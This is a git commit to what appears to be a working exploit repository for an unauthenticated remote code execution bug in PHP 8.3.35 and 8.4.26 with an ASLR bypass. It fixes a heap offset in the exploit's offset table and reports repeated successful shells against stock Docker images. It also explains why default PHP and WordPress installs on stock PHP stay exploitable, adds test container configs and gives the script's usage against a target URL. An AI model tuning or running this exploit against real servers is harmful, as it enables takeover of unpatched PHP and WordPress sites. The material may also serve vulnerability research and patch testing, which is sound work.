Fix PHP 8.3.35 HTDATA_OFFSET and document display_errors constraint

- Correct HTDATA_OFFSET for PHP 8.3.35/bookworm from 0x690D8 to 0x700D8
  (different struct sizes shift the heap layout by 7 pages)
- Verified RCE: 8.4.26 and 8.3.35 both succeed on first attempt
- Document the display_errors=On requirement for the info leak stages
- Explain why stock PHP and stock WordPress-on-PHP are still vulnerable
  (display_errors defaults to On; WordPress ini_set runs after parsing)
- Add docker configs for display_errors=Off test containers
This commit is contained in:
neko
2026-10-22 19:11:28 +00:00
parent e02c9f3122
commit 1d0e9f67fe
4 changed files with 48 additions and 7 deletions
+31 -4
View File
@@ -20,9 +20,9 @@ Full remote code execution (arbitrary command) from a single unauthenticated
HTTP client, against any PHP-handled URL, with full ASLR bypass. The target
page does not need `session_start()` or any specific code.
Tested: 4/4 successful RCE against stock `php:8.4.26-apache` Docker image
Tested: 5/5 successful RCE against stock `php:8.4.26-apache` Docker image
with zero configuration changes (`memory_limit=128M`, `post_max_size=8M`,
`display_errors=STDOUT`, `MaxRequestWorkers=150`).
`display_errors=On`, `MaxRequestWorkers=150`).
## Prerequisites
@@ -188,9 +188,36 @@ docker run -d --name stock -p 8093:80 php:8.4.26-apache
```
The exploit has been tested on:
- `php:8.4.26-apache` stock Docker image, 4/4 RCE (default settings)
- `php:8.4.26-apache` stock Docker image, 5/5 RCE (default settings)
- `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE
- `php:8.3.35-apache` stock Docker image (offsets in DB)
- `php:8.3.35-apache` stock Docker image (stages 1+2 confirmed, stage 3 calibrating)
## display_errors and WordPress
The exploit's info leak (stages 1 and 2) relies on `display_errors = On`.
The `max_input_vars` warning must produce visible output to set
`SG(headers_sent) = 1` before the session cookie attempt, which causes
`php_session_send_cookie()` to fail and leaves `PS(send_cookie) = 1` for
the next request's leak.
With `display_errors = Off`, the warning is logged but produces no output.
The session cookie succeeds, `PS(send_cookie)` resets to 0, and no leak
cookie is emitted on the subsequent request.
**Why stock PHP is still vulnerable**: PHP's compile-time default for
`display_errors` is `On`. Stock Docker images (`php:*-apache`) ship
without a `php.ini`, so the default applies. Only when a system
administrator deploys `php.ini-production` (which sets `display_errors = Off`)
or adds explicit INI configuration is the target hardened against this leak.
**WordPress**: WordPress calls `ini_set('display_errors', 0)` at runtime
in `wp-settings.php`. This `ini_set` executes during script startup, which
is AFTER multipart POST parsing (where the OOM and session leak occur).
Therefore, WordPress installed on a stock PHP image (no `php.ini`)
is vulnerable, because `display_errors` is still `On` at the time the
exploit code path runs. The official `wordpress:*` Docker images ship
a custom `error-logging.ini` that sets `display_errors = Off` at the INI
level, which does block the leak.
## References
+5
View File
@@ -0,0 +1,5 @@
display_errors = Off
memory_limit = 8M
session.upload_progress.enabled = 1
session.upload_progress.cleanup = 1
max_input_vars = 1000
+5
View File
@@ -0,0 +1,5 @@
display_errors = Off
memory_limit = 128M
session.upload_progress.enabled = 1
session.upload_progress.cleanup = 1
max_input_vars = 1000
+7 -3
View File
@@ -34,9 +34,13 @@ Requirements on the target:
the exploit needs A and B requests to hit the same worker process)
- Any PHP-handled URL (no session_start() needed on the page)
Tested: PHP 8.4.26 on official php:8.4.26-apache Docker image, 100% success
Tested: PHP 8.4.26 on official php:8.4.26-apache Docker image, 5/5 RCE
with stock settings (memory_limit=128M, post_max_size=8M).
Based on research from 9bie/php2shell-bypass-aslr-exp.
WordPress: vulnerable when installed on stock PHP (no php.ini), because
WordPress's ini_set('display_errors', 0) runs AFTER multipart parsing.
The official wordpress:* Docker images set display_errors=Off at the INI
level, which blocks the info leak. See README for details.
Usage:
python3 rce_exploit.py -u http://target/index.php # auto-detect
@@ -114,7 +118,7 @@ OFFSET_DB: dict[tuple[str, str], dict[str, int]] = {
("8.3.35", "bookworm"): {
"ZIF_OFFSET": 0x3ac080,
"DTOR_OFFSET": 0x49ec50,
"HTDATA_OFFSET": 0x690D8,
"HTDATA_OFFSET": 0x700D8,
"profile": "bookworm",
},
# Official php:8.4.27-apache (Debian bookworm) -- PATCHED